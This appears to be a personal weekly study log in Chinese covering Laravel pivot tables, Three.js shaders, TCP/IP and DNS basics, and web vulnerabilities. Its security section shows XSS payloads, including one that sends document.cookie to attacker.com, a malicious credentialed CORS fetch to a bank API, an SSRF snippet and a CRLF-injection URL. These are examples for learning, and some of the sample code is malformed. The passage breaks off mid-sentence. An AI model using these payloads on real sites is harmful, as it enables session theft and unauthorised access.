# Never 週活動紀錄 ###### tags: `活動紀錄` <!-- 設定字體陰影--> <style> /* 多重陰影 */ h1 { text-shadow: 0 0 3px #FF0000, 0 0 5px #0000FF; } h2 { color: white; text-shadow: 1px 1px 2px black, 0 0 25px blue, 0 0 5px darkblue; } /* 環繞邊框 */ h3 { color: coral; text-shadow: -1px 0 black, 0 1px black, 1px 0 black, 0 -1px black; } </style> <!-- 設定字體陰影--> --- ## ==20240327== - ## 關於 data table 多對多 假設我們有一個簡單的系統,其中有多個使用者(users)和多個角色(roles),而每個使用者可以擁有多個角色,同時每個角色也可以分配給多個使用者。這種關係是多對多的關係。 假設二張表資料: 使用者表(Users) | id | name | | -------- | -------- | | 1 | User 1 | | 2 | User 2 | | 3 | User 3 | 角色表(Roles) | id | name | | -------- | -------- | | 1 | Role 1 | | 2 | Role 2 | | 3 | Role 3 | 這種多對多的關係可以通過使用<font color=red> **中間表(junction table)**</font>來實現,中間表將用戶ID和角色ID關聯起來。在關係型數據庫中,通常會有一個額外的表來管理這種多對多關係,該表的每一行表示一個使用者與一個角色之間的關聯。 中間表(Role_Users) |user_ID |role_ID | |-------- | -------- | |1 |1 | |1 |2 | |2 |2 | |2 |3 | |3 |1 | |3 |3 | 在中間表中,每一行表示一個使用者與一個角色之間的關聯。例如,第一行表示使用者ID為1的使用者擁有角色ID為1的角色。 - ### 建立三張表其關聯的示例: ```laravel= // User.php public function roles() { return $this->belongsToMany(Role::class, 'role_user', 'user_id', 'role_id'); } // Role.php public function users() { return $this->belongsToMany(User::class, 'role_user', 'role_id', 'user_id'); } ``` 在 Laravel 的 Eloquent 中,belongsToMany 方法的第二個參數是中間表的名稱,第三個參數是中間表中與當前模型相關的外鍵,第四個參數是中間表中與關聯模型相關的外鍵。這些參數是根據預設的 Eloquent 命名約定而來的。 ```js= // User.php 中間表的名稱, 中間表與當前模型相關的外鍵, 中間表中與關聯模型相關的外鍵 $this->belongsToMany(Role::class, 'role_user', 'user_id', 'role_id'); ``` - 通常情況下,如果你的<font color=red>中間表名稱和外鍵命名都符合這些預設約定,你就不需要在關聯方法中顯式指定它們</font>。 - 因此,如果你的中間表名稱是 role_user,且在這個表中,role_id 是與 Role 模型相關的外鍵,user_id 是與 User 模型相關的外鍵,那麼你需要顯式指定這些參數。如果符合預設約定,你可以省略這些參數,Eloquent 將會根據約定<font color=red>自動識別中間表和外鍵</font>。 - 可簡化範例 ```js= // User.php public function roles() { return $this->belongsToMany(Role::class); } // Role.php public function users() { return $this->belongsToMany(User::class); } ``` - 但如果你的中間表名稱不是 Laravel 預設的命名形式(例如不是模型名的複數形式)或者外鍵命名與預設的不同,則需要通過參數來指定它們。 - 不可簡化範例 假設我們有以下三個資料表: users roles <font color=red>role_user_pivot</font> 其中 role_user_pivot 是中間表,用於關聯 users 和 roles。 在這種情況下,我們需要明確指定中間表的名稱和外鍵參數,因為它們不符合 Laravel 的預設命名約定。以下是相應的 Eloquent 關聯定義: ```js= // User.php public function roles() { return $this->belongsToMany(Role::class, 'role_user_pivot', 'user_id', 'role_id'); } // Role.php public function users() { return $this->belongsToMany(User::class, 'role_user_pivot', 'role_id', 'user_id'); } ``` - ## Laravel 預設的命名規範 是將相關模型的名稱<font color=red>按照字母順序組合,並在中間加上下劃線(_)</font>。因此,建議你遵從這個命名規範,將中間表命名為 <font color=red>role_user</font>,這樣可以避免可能的錯誤和困惑。如果你有特殊的命名需求,你可以通過在關聯中指定中間表的名稱來解決這個問題。 - 萬一沒表名遵照預設規則,則需寫出表名 $this->belongsToMany(Role::class, <font color=red>'user_role'</font>) - 萬一沒外键鍵名遵照預設規則,則需寫出鍵名 $this->belongsToMany(Role::class, <font color=red>'user_role', 'u_id')</font>; 或是 $this->belongsToMany(Role::class, <font color=red>'user_role', 'u_id', 'role_id')</font>; - Laravel 實作建立範例 role ```laravel= class CreateUsersTable extends Migration { public function up() { Schema::create('users', function (Blueprint $table) { $table->id(); ... }); ... } ``` user ```laravel= class CreateRolesTable extends Migration { public function up() { Schema::create('roles', function (Blueprint $table) { $table->id(); ... }); } ... } ``` role_user ```laravel= class CreateRoleUserTable extends Migration { public function up() { Schema::create('role_user', function (Blueprint $table) { $table->unsignedBigInteger('user_id'); $table->unsignedBigInteger('role_id'); // 可略 $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade'); // 可略 $table->foreign('role_id')->references('id')->on('roles')->onDelete('cascade'); $table->primary(['user_id', 'role_id']); }); } ... } ``` - 操作方法 $假設加入一個user4, 角色2,3 中間表如何加入紀錄 ```laveral= $user = User::find(4); // 假設用戶 ID 是 4 $user->roles()->attach([2, 3]); // 將用戶與角色 ID 為 2 和 3 的角色建立關聯 ``` PS. - 在中間表中,通常不需要新增時間戳欄位(例如created_at和updated_at),因為它們主要用於追蹤記錄的建立和更新時間。 - 在中間表中,關聯的使用者和角色之間的關係通常是靜態的,不會隨時間的推移而改變。因此,通常情況下不需要時間戳欄位。 - ### 使用 JSON 格式表示的示例: ```js= { "users": [ { "id": 1, "name": "User 1", "roles": [1, 2] }, { "id": 2, "name": "User 2", "roles": [2, 3] }, { "id": 3, "name": "User 3", "roles": [1, 3] } ], "roles": [ { "id": 1, "name": "Role A", "users": [1, 3] }, { "id": 2, "name": "Role B", "users": [1, 2] }, { "id": 3, "name": "Role C", "users": [2, 3] } ] } ``` - 在這個示例中,有三個使用者和三個角色。每個使用者(user)具有一個唯一的ID(id)和一個名稱(name),同時擁有多個角色(roles)的ID。每個角色(role)也具有一個唯一的ID和一個名稱,同時分配給多個使用者的ID。 - 這種多對多的關係可以通過使用<font color=red> **中間表(junction table)**</font>來實現,中間表將用戶ID和角色ID關聯起來。在關係型數據庫中,通常會有一個額外的表來管理這種多對多關係,該表的每一行表示一個使用者與一個角色之間的關聯。 - 使用 JSON 格式表示的中間表的示例: ```js= { "role_user": [ { "user_id": 1, "role_id": 1 }, { "user_id": 1, "role_id": 2 }, { "user_id": 2, "role_id": 2 }, { "user_id": 2, "role_id": 3 }, { "user_id": 3, "role_id": 1 }, { "user_id": 3, "role_id": 3 } ] } ``` 在這個示例中,role_user 表示中間表,每個對象表示一個使用者和角色的關聯。例如,{"user_id": 1, "role_id": 1} 表示使用者ID為1的使用者擁有角色ID為1的角色。這樣,通過查詢中間表,我們可以知道每個使用者擁有哪些角色,以及每個角色分配給了哪些使用者。 ## ==20240320== - 本週大部分時間在研究Three.js 的動畫特效理,圖片隨滑鼠移動的扭曲處理。 - 內容很多,只先擷取幾個介紹。 - ## Three.js - ### requestAnimationFrame(): - 用來顯示畫面,不一定只有用於three.js,例如<font color=red>Js30的時鐘便可利用</font> - requestAnimationFrame 是瀏覽器的 JavaScript 引擎提供的方法,它可以比使用 setTimeout 或 setInterval 更平滑、更有效地執行動畫。它會安排一個函式在瀏覽器下一次重新繪製畫面之前呼叫,通常在顯示器的刷新率下進行。這確保動畫以最佳的幀率運行,通常是每秒 60 幀,並與瀏覽器的渲染管道同步。 這是一個使用 requestAnimationFrame 創建簡單動畫的基本示例: ```js= function animate() { // 執行動畫邏輯 // 請求下一幀 requestAnimationFrame(animate); } // 開始動畫 requestAnimationFrame(animate); ``` 在這個示例中,animate 函式被遞迴地使用 requestAnimationFrame 調用。在這個函式內部,您通常會更新頁面上元素的位置或樣式以創建動畫效果。通過在函式內遞迴地調用 requestAnimationFrame,您確保它與瀏覽器的渲染同步運行。 <font color=red>使用 requestAnimationFrame 而不是 setTimeout 或 setInterval 的一個優點是,當用戶切換到其他瀏覽器標籤時,或者瀏覽器窗口最小化時,它會自動暫停,節省資源並改善移動設備的電池壽命。它還允許瀏覽器優化渲染,確保動畫更流暢,減少佈局抖動的風險。</font> - ### WebGL(Web Graphics Library)是一種JavaScript API,可用於在網頁上呈現3D圖形。 它基於OpenGL ES(OpenGL for Embedded Systems)標準,為瀏覽器提供了對圖形渲染硬件的低階訪問。 <font color=red>使用WebGL,開發者可以通過JavaScript編寫代碼,創建各種複雜的3D場景和效果,並在支持的瀏覽器中渲染這些場景</font>。WebGL提供了一組函式,允許開發者控制3D場景的各個方面,包括幾何形狀的創建、材質的設置、照明和投影等。 儘管WebGL強大且靈活,但它也是一個複雜的API,需要對圖形編程和3D數學有基本的了解。開發者通常使用WebGL庫(如Three.js)來簡化開發過程,這些庫提供了更高級的抽象和易於使用的API,以便創建複雜的3D場景。 在網頁上使用WebGL可以創建各種互動性和視覺效果豐富的內容,包括遊戲、模擬器、教育工具等。由於WebGL運行在瀏覽器中,這意味著開發的應用程序可以跨平台運行,無需安裝任何額外的插件或軟件。 - ### ShaderMaterial 材質如何帶資訊(給著色器)的方法 在 three.js 中,使用 ShaderMaterial 材質可以讓您自定義頂點和片段着色器,並且可以通過 uniform 變量將資訊傳遞給着色器。 要將資訊傳遞給 ShaderMaterial,您可以通過設置 uniform 變量的值來實現。uniform 變量是在着色器代碼中聲明的全局變量,可以在 JavaScript 中使用材質對象的 uniforms 屬性設置其值。 以下是一個示例,展示了如何使用 ShaderMaterial 將資訊傳遞給着色器: ```js= // 定義 uniform 變量 const uniforms = { time: { value: 0.0 }, // 時間 resolution: { value: new THREE.Vector2() }, // 解析度 texture: { value: yourTexture } // 紋理 }; // 創建 ShaderMaterial const material = new THREE.ShaderMaterial({ uniforms: uniforms, // 設置 uniform 變量 vertexShader: yourVertexShaderCode, // 指定頂點着色器代碼 fragmentShader: yourFragmentShaderCode // 指定片段着色器代碼 }); ``` - ### 著色器介紹 - 著色器(Shader)是一種在圖形渲染管線中執行的程式,用於定義對物體表面的渲染效果。它們主要用於計算每個像素的顏色值,從而生成最終的圖像。在三維圖形中,通常有兩種主要的著色器類型:頂點著色器(Vertex Shader)和片段著色器(Fragment Shader)。 - 頂點著色器(Vertex Shader): 頂點著色器用於處理每個物體的頂點。它可以對頂點的位置、顏色、法向量等進行操作,以及進行坐標變換、光照計算等。 <font color=red>頂點著色器的主要任務是將物體的幾何資訊轉換到螢幕空間(或視口空間),從而使它們可以在屏幕上呈現。</font> 例如,您可以在頂點著色器中對頂點的位置進行平移、旋轉或縮放,從而實現物體的變換效果。 - 片段著色器(Fragment Shader): 片段著色器用於處理每個像素(或稱為片段)。它計算每個像素的最終顏色值,包括光照、紋理貼圖、透明度等。 <font color=red>片段著色器通常用於實現材質的外觀效果,例如漫反射、鏡面反射、環境光等。</font> 例如,您可以在片段著色器中使用紋理貼圖來將圖像貼到物體表面上,並計算光照效果以模擬光的影響。 - 著色器使用類似於 GLSL(OpenGL Shading Language)或 HLSL(High-Level Shading Language)等語言編寫。它們通常包含一組特定的內建變量(如頂點位置、法向量、紋理坐標等),以及可以自定義的 uniform 變量(從外部傳遞資訊給著色器)、屬性變量(每個頂點特有的資訊)等。 - 著色器的編寫是圖形程式設計中一個重要的部分,通過對著色器的定製,可以實現各種各樣的渲染效果,從基本的材質和燈光效果到複雜的紋理貼圖、鏡面反射、陰影等。 ## ==20240313== - ## Laravel 多個Presenter的設定方式 - ### construct 不能多個 會發生錯誤的方式 ```laravel= public function __construct(protected KindCodePresenter $kindCodePresenter) { } public function __construct(protected SeasonCodePresenter $seasonCodePresenter) { } ``` - ### construct 只能設置一個 正確的方式 ```laravel= public function __construct(protected KindCodePresenter $kindCodePresenter, protected SeasonCodePresenter $seasonCodePresenter) { } ``` - ## WWW 三大核心技術 - HTML (HyperText Markup Language) 超本文標記語言 - Http (HyperText Transfer Protocol) 超本文傳輸協定 - URL (Uniform Resouece Locator) 統一資料定位符 - ## 網路傳輸階層四個階段: - 應用層、傳輸層、網路層、連接層。 - 應用層(Application Layer) - TCP/IP 模型中的應用層(Application Layer)是網路通訊中的最頂層,它負責為使用者提供各種網路應用服務。應用層包括了各種應用協議,例如HTTP、SMTP、FTP、DNS 等,這些協議定義了資料交換的規則和格式,使得用戶能夠透過網路進行通訊、資料傳輸和資源存取。在應用程式層,使用者可以直接和網路應用程式進行交互,例如瀏覽網頁、發送電子郵件、下載文件等。 - 將資料轉換成相對應協定的格式 - 加上 應用層的Header - 傳輸層(Transport Layer) - 傳輸層主要有兩種協定: - TCP(Transmission Control Protocol,傳輸控制協定) - UDP(User Datagram Protocol,用戶資料報協定)。 - TCP: - 是一種面向連接的、可靠的、基於位元組流的傳輸協定。它提供了資料傳輸的可靠性、流量控制、擁塞控制和順序傳輸等功能。 TCP 建立連線時使用三次握手來確保雙方的通訊可靠性,並透過序號、確認和重傳機制來保證資料的可靠性和順序傳輸。 TCP 適用於資料傳輸可靠性需求較高的場景,如檔案傳輸、網頁瀏覽等。 - 將傳輸資料插成許多小封包,每個小封包有序號與連接埠號碼 - 透過三方交握(Three-way Handshake) - 確保資料正確傳輸無誤 - UPD: - 是一種無連接的傳輸層協議。與TCP(Transmission Control Protocol)相比,UDP不需要在傳輸數據之前建立連接,也不會維護連接狀態。因此,UDP更輕量級,傳輸速度更快,但也更不可靠,因為它不保證數據的傳輸順序和可靠性。UDP通常用於對實時性要求較高、對數據可靠性要求較低的應用場景,例如音視頻流媒體、在線遊戲等。 - 不確認就傳輸,資料有可能遺失 - 適用傳輸語音、影像 - 加上 傳輸層的Header - 網路層(Internet Layer) - 負責在不同網路之間進行路由和轉發數據包。這一層定義了數據包在網絡中的路徑選擇和轉發方式,通過 IP(Internet Protocol)協議來實現。網路層的主要功能包括路由、封裝、拆封、數據包的轉發和定位。 - 在 TCP/IP 模型中,網路層扮演了關鍵的角色,使得數據包能夠在不同網絡之間進行通信,實現了跨越整個互聯網的數據傳輸。与之相對應的 OSI 模型中的層級是數據鏈路層。 - 加上 IP Header, 紀錄來源,目標IP Address - 透過routing 找到到達路徑 - 加上 網路層的Header - 連接層(Network Acess (link) Layer) - 在TCP/IP模型中,連接層通常指的是OSI模型中的資料鏈結層(Data Link Layer),有時也稱為網路接入層(Network Access Layer)。該層位於TCP/IP模型的底層,負責在物理網路和網路層之間提供數據傳輸的服務。 - 資料鏈結層的主要功能包括: 1. 提供數據在物理介質上的傳輸。 2. 定義了數據的格式和傳輸方式,例如幀的組裝和解析。 3. 實現了物理地址(MAC地址)的管理和識別,以便在區域網中正確地發送數據包。 4. 錯誤檢測和紀錄,確保數據的可靠傳輸。 - 在TCP/IP模型中,資料鏈結層和物理層通常結合在一起,共同負責實現數據的物理傳輸和鏈路控制,因此有時也將其合稱為網路接入層(Network Access Layer)。 - 發送封包 - 透過乙太網路傳送封包 - 加上 連接層的Header - ## 三方交握(Three-way Handshake) 是計算機網絡通訊中建立 TCP 連接時的一種流程,用於確保通訊雙方能夠互相確認彼此的身份和準備好進行數據傳輸。這個過程通常涉及三個步驟: 1. 客戶端發送請求: 客戶端向伺服器發送一個連接請求報文,其中包含一個標誌位 SYN(Synchronize Sequence Numbers),用於指示客戶端初始化一個 TCP 連接。此時客戶端進入 SYN_SENT 狀態,等待伺服器的回應。 2. 伺服器確認請求: 伺服器收到客戶端的連接請求後,如果同意建立連接,則會發送一個確認報文,其中包含 SYN 和 ACK 標誌位。其中 SYN 用於同步序列號,ACK 用於確認客戶端的 SYN,表示伺服器已經收到了客戶端的連接請求。此時伺服器進入 SYN_RCVD(SYN Received) 狀態。 3. 客戶端確認回應: 客戶端收到伺服器的確認後,也會發送一個確認報文,其中包含一個 ACK 標誌位,表示客戶端已經收到了伺服器的回應。此時客戶端和伺服器都進入 ESTABLISHED(建立)狀態,TCP 連接建立完成,雙方可以開始進行數據傳輸。 通過三方交握過程,客戶端和伺服器雙方都能夠確認對方的可靠性和準備就緒狀態,從而確保數據的可靠傳輸。 - ## DNS 網域名稱系統(Domain Name System) - cucumars.com (Domain) 域名 - blog.cucumars.com (sub-domain) 子域名 - 域名和子域名是 DNS(Domain Name System)中的重要概念,用於識別和定位互聯網上的各種資源和服務。以下是它們的解釋: 1. 域名(Domain Name):域名是由一系列標籤以點分隔的字符串組成,用於唯一標識互聯網上的特定資源,如網站、服務器、郵箱等。例如,域名"example.com"標識了一個網站或服務器。 2. 子域名(Subdomain):子域名是在主域名之前添加的標籤,用於進一步劃分和組織域名空間。子域名通常用於區分不同的服務或部門,或者用於創建特定的網站部分。例如,在域名"blog.example.com"中,"blog"就是子域名,表示這是主域名"example.com"下的一個子網站或子服務。 3. 頂級域名(Top-Level Domain,TLD):頂級域名是域名中最高級別的部分,位於域名的最右側。常見的頂級域名包括.com、.org、.net等。頂級域名也可以是國家或地區的代碼,如.cn(中國)、.uk(英國)等。在"example.com"中,".com"就是頂級域名。 4. 二級域名(Second-Level Domain):二級域名是位於頂級域名之下的域名部分,直接位於頂級域名之前。在"example.com"中,"example"就是二級域名。 通過合理地使用域名和子域名,可以有效地組織和管理網絡資源,使其更容易識別和訪問。 - ## 網站輸入輸出驗證弱點易受攻擊研究 - ### XSS (Cross-Site Scripting) - 不稱CSS, 因為已經表示Cascading StyleSheet - 跨站腳本(Cross-Site Scripting,簡稱XSS)是一種常見的網路安全漏洞,它允許攻擊者將惡意腳本注入到網頁中,以在使用者的瀏覽器上執行。XSS 攻擊通常透過向Web 應用程式中的輸入欄位中註入惡意腳本來實現,然後當其他使用者造訪包含注入腳本的頁面時,惡意腳本會在他們的瀏覽器上執行。 - 攻擊者惡意注入程式碼 Html 或 Javascript,讓使用者觸發 - 原因:網站後端未過濾或驗證user輸入 - 一些常見的 XSS 攻擊範例: 反射型XSS、儲存型XSS、DOM型XSS - 1.**反射型XSS**:(Reflected XSS) - 最常透過釣魚攻擊或偽造的社交工程技術 - 此攻擊不會被儲存在網站上 - 惡意腳本被注入到Web 應用程式的URL 參數中,當使用者點擊包含惡意腳本的連結時,腳本會被傳送到伺服器並在使用者的瀏覽器上執行。這種類型的XSS 攻擊通常透過欺騙用戶點擊包含惡意腳本的連結來實現。 - 攻擊者透過電子郵件或社交媒體發送一個包含惡意腳本的鏈接,誘使用戶點擊該鏈接,其中的惡意腳本會被發送到目標網站的伺服器並反射回用戶的瀏覽器執行。 - 攻擊者在一個搜尋引擎中搜尋關鍵字,然後將包含惡意腳本的搜尋查詢連結傳送給用戶,當用戶點擊該連結時,惡意腳本會在搜尋結果頁面上執行。 - 範例: 假設有一個簡單的搜尋引擎網站, 搜尋結果頁面的伺服器端程式碼可能如下所示(使用偽代碼表示): - 後端: ```php= // 獲取使用者输入的搜索關鍵字 $keyword = request->q; ``` - 前端: - 應該是echo的寫法才會 ```html= <?php $keyword = "your_keyword_here"; // 用于替换的关键字 echo "<body>"; echo "<h1>Search Results for '$keyword'</h1>"; echo "<p>Here are the search results for '$keyword':</p>"; // 显示搜索结果... ?> ``` - 如果攻擊者將以下惡意搜尋查詢連結傳送給使用者: https://www.example.com/search?q=<script>alert('XSS攻擊!');</script> 例如收到郵件內容: [1000元優惠券](http://www.example.com/search?q=<script>alert('XSS攻擊!');</script>) - 網頁開啟後: ```html= <?php echo '<h1>Search Results for '<script>alert('XSS攻擊!')'';</script>'</h1> echo '<p>Here are the search results for '<script>alert('XSS攻擊!');</script>:</p>'' <!-- 搜索结果... --> ``` - 這樣,當使用者開啟搜尋結果頁面時,惡意腳本<script>alert('XSS攻擊!');</script>就會被執行,彈出一個惡意彈跳窗,從而攻擊使用者。 - 2.**儲存型XSS**(Stored XSS): - 這種類型的XSS攻擊通常發生在使用者可以提交(post)內容的地方,例如評論框、留言板等。 - 此攻擊會被儲存在網站上 - 攻擊者將惡意腳本儲存在Web 應用程式的資料庫中,當其他使用者存取包含儲存的惡意腳本的頁面時,腳本會從伺服器上擷取並執行。 - 範例: 假設有一個線上購物網站,使用者可以在產品頁面下方的評論框中發布評論。攻擊者利用這個評論框中的儲存型XSS 漏洞,插入了惡意腳本來竊取其他使用者的會話cookie。 攻擊者在一個產品頁面的評論框中發布瞭如下惡意評論: ```javascript= 感谢 XYZ Online Store,這個產品真是太好了!<script>document.location='http://attacker.com/stealcookie.php?c='+document.cookie</script> ``` - 在這個惡意評論中,攻擊者插入了一個&lt;script&gt;標籤,然後使用JavaScript 的document.location方法將使用者的會話cookie 發送到了攻擊者控制的伺服器上,attacker.com是攻擊者自己搭建的伺服器。 - 3.**DOM 型 XSS**(DOM-based XSS): - 攻擊者可以透過修改URL 參數、表單欄位或其他用戶端可控制的輸入來觸發DOM 型XSS 攻擊。 - 惡意腳本被注入到客戶端的DOM(文檔物件模型)中,而不是從伺服器載入。這種類型的攻擊通常是由於Web 應用程式在客戶端解析使用者提供的輸入時未正確過濾或轉義導致的。 - 範例: - 假設有一個簡單的網頁,它接收一個名為message的查詢參數,並將其作為HTML程式碼插入頁面中。 ```javascript= <body> <div id="output"></div> <script> // 获取 URL 中的查询参数 const urlParams = new URLSearchParams(window.location.search); const message = urlParams.get('message'); // 将消息显示在页面上 document.getElementById('output').innerHTML = message; </script> </body> ``` - 假設攻擊者建構了以下惡意URL,並將其傳送給使用者: ```html= https://www.example.com/page?message=<script>alert('惡意脚本執行行!')</script>` ``` - 如果使用者點擊該連結並造訪帶有惡意參數的頁面,頁面會嘗試將message參數的值插入為HTML程式碼。由於頁面沒有對輸入進行適當的過濾或轉義處理,惡意腳本<script>alert('恶意脚本执行!')</script>將被執行,導致在使用者的瀏覽器中彈出一個惡意彈跳窗。 - DOM型XSS攻擊與反射型XSS攻擊在某種程度上確實有些相似。它們的共同點在於都涉及將惡意程式碼注入到頁面中,並使得這些程式碼在使用者的瀏覽器中執行。 - 主要的差異在於注入點和執行方式: - 反射型XSS攻擊:攻擊者將惡意腳本注入到URL中,然後誘使用戶點擊包含惡意程式碼的連結。當使用者點擊連結時,惡意程式碼被傳送到伺服器,並隨著伺服器回應一起傳回給使用者。惡意程式碼隨後在使用者的瀏覽器中執行,因為瀏覽器認為這是來自可信任來源(即伺服器)的內容。 - DOM型XSS攻擊:攻擊者將惡意腳本直接注入到頁面的DOM結構中,通常是透過使用者互動或其他方式觸發的,而不是透過伺服器回應返回。惡意腳本在使用者的瀏覽器中執行,因為它被視為頁面的一部分。 - 雖然兩種攻擊類型的影響類似,但它們的注入點和傳播方式略有不同。反射型XSS攻擊依賴伺服器對惡意程式碼的反射,而DOM型XSS攻擊則直接將惡意程式碼注入到客戶端的DOM。 - ## 同源政策(Same-Origin Policy), - 是一種在Web 瀏覽器中實施的安全機制,用於限制一個來源(或網域)的網頁腳本如何與另一個來源的資源進行交互。 - 同源政策旨在防止惡意網站透過腳本等方式竊取使用者的資訊或進行其他安全攻擊。 - 必須要有相同域名、協定、埠 - 範例: 若 url = http://cucumars.com.tw(預設port:80) | url | 是否可存取 | | ------------------------- | -------- | | http://cucumars.com.tw/index.htm |可 | | https://cucumars.com.tw/index.html |不可:不同協定| | http://cucumars.com.tw:8080/index.html|不可:不同埠 | | http://cucumars.tw/index |不可:不同域名| - ## Cross-orgin sharing (CORS) 跨來源共享 - 是一種用於在Web 應用程式中進行跨域資源共享的機制。 - 在瀏覽器中,由於同源策略(Same-Origin Policy)的限制,頁面只能從相同網域載入資源,無法直接載入來自不同網域的資源。 - 有時候,當我們需要從不同源頭取得資源,這時就需要跨域資源共享(CORS)來允許跨域請求。 - 透過設定Http Header,限定引入外部資源。 - CORS(Cross-Origin Resource Sharing)本身並不是漏洞,而是一種安全機制,用於在Web 應用程式中進行跨域資源共享。 - 然而,CORS 配置不當可能導致安全漏洞的產生。 - 以下是一些常見的與CORS 相關的安全漏洞: 1. 任意來源攻擊(Arbitrary Origin Attacks):如果伺服器的CORS 配置過於寬鬆,允許來自任意來源的請求訪問敏感資源,攻擊者可以利用這一點在惡意網站上構造跨域請求,訪問用戶的敏感信息,或者執行未經授權的操作。 2. 覆蓋HTTP 頭部字段(Header Spoofing):如果伺服器在回應中設定了Access-Control-Allow-Headers頭部字段,但沒有對實際允許的頭部字段進行正確的驗證,攻擊者可能會利用這一點來欺騙客戶端發送偽造的HTTP頭部字段,從而繞過安全控制。 3. 缺乏預檢請求(Missing Preflight Request):對於某些複雜的跨網域請求,瀏覽器會先傳送預檢請求,以確認伺服器是否允許該請求。如果伺服器沒有正確處理預檢請求,或直接傳回允許任何來源的回應,可能會導致安全漏洞。 4. 不正確的CORS 配置:如果伺服器的CORS 配置不正確,例如缺少必要的CORS 回應頭部字段,或配置過於寬鬆,允許跨網域請求存取敏感資源,可能會導致安全漏洞。 - 為了防止這些安全漏洞,開發人員應該遵循最佳的CORS 安全實踐,包括限制允許的來源、方法和頭部字段,以及正確處理預檢請求。 - 此外,及時更新和監控伺服器的CORS 配置,以及定期進行安全性稽核和漏洞掃描,也是保護Web 應用程式免受CORS 相關漏洞的重要步驟。 - 範例: - 假設一個銀行的網站允許來自任意來源的請求存取使用者的帳戶信息,且沒有適當的身份驗證和授權措施。攻擊者可以利用這一寬鬆的CORS 配置,在惡意網站上構造跨域請求來訪問用戶的敏感信息,以下是一個簡化的示例: - 假設銀行網站上有一個介面/api/account用於獲取用戶的帳戶信息,正常情況下,只允許來自銀行網站域名的請求訪問該接口。<font color="red">但由於CORS 配置過於寬鬆,允許來自任意來源的請求存取</font>。 - 攻擊者在惡意網站上放置了以下HTML 程式碼: ```html= <html> <head> <title>Malicious Website</title> </head> <body> <script> // 发送跨域请求获取用户账户信息 fetch('https://bank.com/api/account', { method: 'GET', mode: 'cors', // 使用CORS模式发送跨域请求 credentials: 'include' // 发送包含凭证(如cookie)的请求 }) .then(response => response.json()) .then(data => { // 攻击者在这里可以获取到用户的账户信息,并将其发送到攻击者服务器上 console.log('User Account Information:', data); }) .catch(error => { console.error('Error:', error); }); </script> </body> </html> ``` - 當使用者造訪惡意網站時,上述JavaScript 程式碼會在使用者瀏覽器中執行,發送跨域請求到銀行網站的 接口,由於CORS 配置過於寬鬆,/api/account請求將成功發出並獲取到使用者的帳戶資訊。攻擊者可以利用這些資訊進行進一步的攻擊,例如盜取用戶資金或進行詐欺活動。 - 這個範例展示如何利用過於寬鬆的CORS 配置來實施任意來源攻擊,從而獲取使用者的敏感資訊並執行未經授權的操作。要防止這種攻擊,銀行網站需要適當地配置CORS,限制允許存取資源的來源,並確保有適當的身份驗證和授權機制來防止未經授權的存取。 - ## Insecure Deserialization(不安全的反序列化) - 序列化(serialization) 就是把物件轉成可儲存化的格式:Json, XML, YAML。 - 反序列化(Deserialization) 就是把儲存化的格式轉成物件格式, 讓後端可利用。 - 弱點成因:後端沒有驗證反序列化的字串是否合法,導致伺服器解析後執行破壞指令。 - ## SSRF(Server-Side Request Forgery,服務端請求偽造) - 是一種網路安全漏洞,攻擊者可以利用它來發送未經授權的請求,通常是從受信任的伺服器發起,以存取或利用目標系統上的資源。 - 以下是一個簡單的SSRF 範例: ```javsscript= $url = request('url'); // 從请求中獲取User提交的 URL $response = Http::get($url); // 使用 Laravel 的 HTTP 客户端獲取 URL 内容 if ($response->successful()) { echo $response->body(); // 將内容顯示给user } else { abort(500, 'Failed to fetch URL.'); // 如果请求失败,则返回 500 错誤 } ``` 在這個範例中,使用者可以透過提供一個URL 參數來請求任意的URL。這可能導致潛在的安全風險,因為攻擊者可以利用SSRF 漏洞來存取內部系統、繞過防火牆或執行其他惡意操作。 例如,攻擊者可以嘗試從受信任的伺服器發起請求,存取內部網路中的敏感資訊或服務。攻擊者可以建構一個惡意的URL,如http://localhost/admin/delete_user,然後提交給應用程序,使其發送請求,從而執行刪除操作。 - ### Http Splitting CRLF Injecting - Http 封包中利用CRLF告知伺服器,封包已經進行換行,若插入的字串沒有進行換行,導致駭客插入0x0d 0x0a 或是 10進位的13,10,欺騙伺服器已經換行,然後插入惡意的payload。 - 範例 - URL: http://abc.com.tw?url=%0d%0aset-cookie%3AUSERSESSID=12345 - HTTP Hearder - locastion:http://abc.com.tw?url= - set-cookie: USERSESSID=12345 - 這個URL的確看起來可能是一種攻擊,特別是涉及到使用set-cookie參數來設置使用者的Session ID。這樣的URL可能導致跨站腳本攻擊(Cross-Site Scripting, XSS)或會話劫持(Session Hijacking)等安全風險。 攻擊者可能會通過這樣的URL,將惡意的Session ID設置給使用者,進而控制使用者的會話。這可能允許攻擊者進行未授權的操作,或者偷取使用者的敏感信息。 - ## Session 相關漏洞 - ### cookie 與 Session 1. Cookie: - Cookie 是存儲在用戶瀏覽器中的小型文本文件,它們會被包含在 HTTP 請求中,從而允許伺服器將資訊發送到瀏覽器並在後續請求中重新接收這些資訊。 - Cookie 主要用於在用戶端存儲少量資訊,例如用戶的偏好設置、記住用戶登入狀態等。 - 在 Laravel 中,可以使用 cookie() 方法來設定和獲取 Cookie。 2. Session: - Session 是一種伺服器端的存儲機制,用來記錄用戶的Session(會話)資訊。Session ID 會被存儲在 Cookie 中,但實際的會話資料則存儲在伺服器端。 - Session 通常用於存儲對於伺服器端有重要意義的資訊,例如用戶的登入狀態、購物車內容等。 - 在 Laravel 中,可以使用 session() 輔助方法來設定和獲取 Session,Laravel 預設使用了加密來保護 Session 數據。 總的來說,Cookie 主要用於在用戶端存儲較小的資訊,而 Session 主要用於在伺服器端存儲較大量的資訊並保持會話狀態。 在實際應用中,Cookie 和 Session 常常一起使用。例如,當用戶登入時,通常會使用 Session 來保持用戶的登入狀態(及增加一筆新的Session ID),同時將一個記住登入狀態的 Cookie 存儲在用戶瀏覽器中(再回傳的封包中加上 Set-Cookie 這個 Header,以便在用戶下次訪問時自動登入(當瀏覽這個網站時,這些Cookie就會一起送到 Server, Server 找到相對應的 Session ID 後,就可以確定是哪一個 User 要瀏覽網頁了。 - ### Session Hijaking (會話劫持) ![350979](https://hackmd.io/_uploads/SyYPiE6pT.jpg) - POC (Proof of Concept) 概念驗證 POC是指在開發新產品或導入新技術之前,先做一個小規模的實驗,以確定想法的可行性。透過POC,我們可以快速地驗證構想是否可行,並評估其可能性。這有助於降低風險✳,避免浪費時間和資源在不可行的方向上。 - Session Hijaking 漏洞成因: 1. XSS 漏洞 透過 XSS 漏洞,插入惡意 POC 將被害者導向 駭客收集 Cookie 的 Server,當駭客確認 Server 的 log 